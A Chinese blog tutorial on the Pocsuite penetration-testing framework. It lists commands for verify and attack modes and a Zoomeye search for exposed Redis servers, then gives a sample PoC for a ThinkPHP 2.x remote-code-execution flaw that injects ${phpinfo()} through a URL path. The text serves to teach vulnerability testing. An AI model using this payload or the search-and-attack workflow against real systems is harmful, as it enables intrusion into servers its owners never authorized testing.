pocsuite使用教程

Pocsuite使用教程

1.常用命令

# Verify验证模式
python cli.py -r pocs/test1.py(poc脚本路径) -u http://127.0.0.1 --verify

# 批量验证
python cli.py -r pocs/test1.py  -f url.txt --verify

# 加载文件夹下所有的poc对目标进行测试
python cli.py -r pocs/* -u http://127.0.0.1 --verify

# 使用多线程
python cli.py -r pocs/* -u https://127.0.0.1 --verify --threads 10

# 使用Zoomeye搜索引擎,搜索开放端口为6379的Redis服务
python cli.py --dork 'port:6379' --vul-keyword 'redis' -max-page 2

# Attack模式,向目标发起有效攻击
python pocsuite.py -r pocs/(poc脚本路径) -u https://127.0.0.1 --attack

2.poc编写

from pocsuite3.api import Output, POCBase,register_poc,requests,logger
from pocsuite3.api import get_listener_ip,get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD

class DemoPOC(POCBase):
    vulID = ''
    version = '1'
    author = 'wcs'
    vulDate = '2022-04-16'
    createDate = '2022-04-16'
    updateDate = '2022-04-16'
    references = []
    name = 'thinkphp 2-rce 任意代码执行漏洞'
    appPowerLink = ''
    appName = ''
    appVersion = ''
    vulType = '任意代码执行'
    desc = '''
        练习pocsuite    
    '''
    samples = []
    install_requires = []

    def _verify(self):
        output = Output(self)
        result = {}   # 验证代码
        payload = "/index.php?s=/index/index/name/${phpinfo()}"
        url = self.url
        try:
            resq = requests.get(url+payload)
            if resq and resq.status_code == 200 and "PHP Version" in resq.text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Name'] = payload
        except Exception as e:
            pass
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output
    def _attack(self):
        return self._verify()
register_poc(DemoPOC)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值